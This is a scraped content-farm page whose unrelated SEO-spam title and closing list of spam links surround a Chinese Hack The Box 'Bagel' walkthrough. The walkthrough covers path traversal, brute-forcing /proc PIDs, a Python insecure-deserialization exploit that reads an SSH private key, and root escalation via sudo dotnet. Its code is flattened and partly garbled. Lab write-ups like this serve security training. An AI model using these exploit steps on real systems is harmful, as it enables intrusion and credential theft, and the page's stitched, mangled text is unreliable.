当前位置: 首页 > news >正文

网站开发需要多少钱app网络软文推广网站

网站开发需要多少钱app,网络软文推广网站,潮州哪里做网站,网站首页制作公司Bagel 今天我开始了《Red Team Development and Operations A Practical Guide》的学习,保持学习,后面差不多到时机后就学CRTOⅡ Bagel 是一款中等难度的 Linux 机器,其特点是电子商店容易受到路径遍历攻击,通过该攻击可以获取应…

Bagel

今天我开始了《Red Team Development and Operations A Practical Guide》的学习,保持学习,后面差不多到时机后就学CRTOⅡ


Bagel 是一款中等难度的 Linux 机器,其特点是电子商店容易受到路径遍历攻击,通过该攻击可以获取应用程序的源代码。然后,该漏洞用于下载“.NET”WebSocket服务器,该服务器一旦反汇编就会显示纯文本凭据。进一步的分析揭示了一个不安全的反序列化漏洞,该漏洞被用于读取任意文件,包括用户的私钥“SSH”。使用密钥在计算机上获取立足点,之前发现的密码用于透视到另一个用户,该用户可以使用具有“root”权限的“dotnet”工具。此错误配置用于执行恶意的“.NET”应用程序,从而导致权限完全升级。


外部信息收集

端口扫描

循例nmap

file

Web枚举

8000

file

发现这里存在任意文件读取

file

我们可以读取到app.py

file

don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.

这句话向我们提供的信息,我想5000端口就是这个程序

虽然也不是第一次遇到任意文件读取去读/proc下的东西,但是这一台靶机彻底的加深了我的印象

由于它在命令行运行dll的时候需要指定dll文件的路径,所以我们可以通过爆破pid来读取/proc/pid/cmdline,找到那个dll路径,再通过任意文件读取去下载它,然后对dll进行一个反编译

生成数字字典

for i in {1..1000};do echo $i >> ./nums.txt;done

ffuf

file

我在pid 933发现了它

file

/opt/bagel/bin/Debug/net6.0/bagel.dll

curl下下来

file

Foothold

MessageReceived函数将我们发送的json字符串反序列化后,进行了一次序列化,然后返回给客户端。

file

跟踪到Handler,序列化和反序列化函数都使用type 4

file

当类型值为4时,将允许处理程序从序列化数据中推断正确的类型。同时为了能够利用它,我们还能够看到result被指定为Object,否则的话可能会由于类型不一致导致报错。

object result;
...

在看另一个类File

	public class File{// Token: 0x17000007 RID: 7// (get) Token: 0x0600001C RID: 28 RVA: 0x00002400 File Offset: 0x00000600// (set) Token: 0x0600001B RID: 27 RVA: 0x000023DD File Offset: 0x000005DDpublic string ReadFile{get{return this.file_content;}set{this.filename = value;this.ReadContent(this.directory + this.filename);}}// Token: 0x0600001D RID: 29 RVA: 0x00002418 File Offset: 0x00000618public void ReadContent(string path){try{IEnumerable<string> values = File.ReadLines(path, Encoding.UTF8);this.file_content += string.Join("\n", values);}catch (Exception ex){this.file_content = "Order not found!";}}

我们能够利用ReadFile属性来进行任意文件读取,原因是当进行反序列化时我们将能够设置ReadFile属性,即设置filename字段,并触发ReadContent(),此时我们还无法获取到文件内容,当再进行一次序列化时,file_content字段这些数据就会被带出来。

import websocket,jsonws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/") # connect to order app
order = {"RemoveOrder":{"$type": "bagel_server.File, bagel",
"ReadFile":"../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)

我们还需要将ReadOrder改为RemoveOrder,这样我们就能不触发ReadOrder过滤…/的ReadFile,而是直接执行由我们指定的ReadFile函数了

运行exp我们能够得到phil的ssh私钥

file

登录ssh

file

本地横向移动 -> developer

前面在DB类里面发现了一组凭据,但遗憾的是developer不能使用密码登录ssh

file

不过我们现在立足后可以在内部使用su

file

本地权限提升

sudo -l

file

轻松的提权

先把bagel的project复制到tmp

file

vim改Program.cs,我这里选择读root flag

file

sudo dotnet run,我们将得到它

file

http://www.khdw.cn/news/28382.html

相关文章:

  • 自己做短视频的网站百度竞价代运营
  • 网站制作 服务电脑软件推广平台
  • 网站首页介绍深圳纯手工seo
  • 塘沽做网站网站做优化好还是推广好
  • wordpress 更新媒体库上海网站seo排名优化
  • 建站论坛系统抖音seo软件
  • 可以做公众号背景图的网站今天全国31个省疫情最新消息
  • 中国建设银行网站用户网站收录排名
  • 网站开发包含哪些类别怎样免费制作网页
  • 网站html设置首页兰州做网站的公司
  • 网络运维日常工作内容谷歌优化排名公司
  • 专门做养老院的网站seo服务外包公司
  • 个人做外贸接订单网站h5网站制作平台
  • 国外购物网站ebay北京效果好的网站推广
  • 物流网站怎么做的seo外推软件
  • cms开源网站管理系统站内优化包括哪些
  • 济南住建网站高级seo培训
  • 网站建设维护属于什么专业公司网站制作公司
  • 犀牛云做网站编辑上传b站视频推广
  • 做网站所用的技术关键词优化话术
  • 长沙网站优化指导app开发多少钱
  • 个人做负面网站犯法不杭州seo公司排名
  • wordpress去除图片css样式优化排名推广教程网站
  • 网站正在建设 h5模板艾滋病阻断药
  • 怎么加快登录网站速度深圳网站维护
  • 怎么做二维码直接进入网站淘宝店铺买卖交易平台
  • 东西湖注册公司整站优化seo
  • php如何做视频网站神马seo教程
  • 网站设计建设公司江阴网站优化公司
  • 专业提供网站建设服务公司色盲测试图数字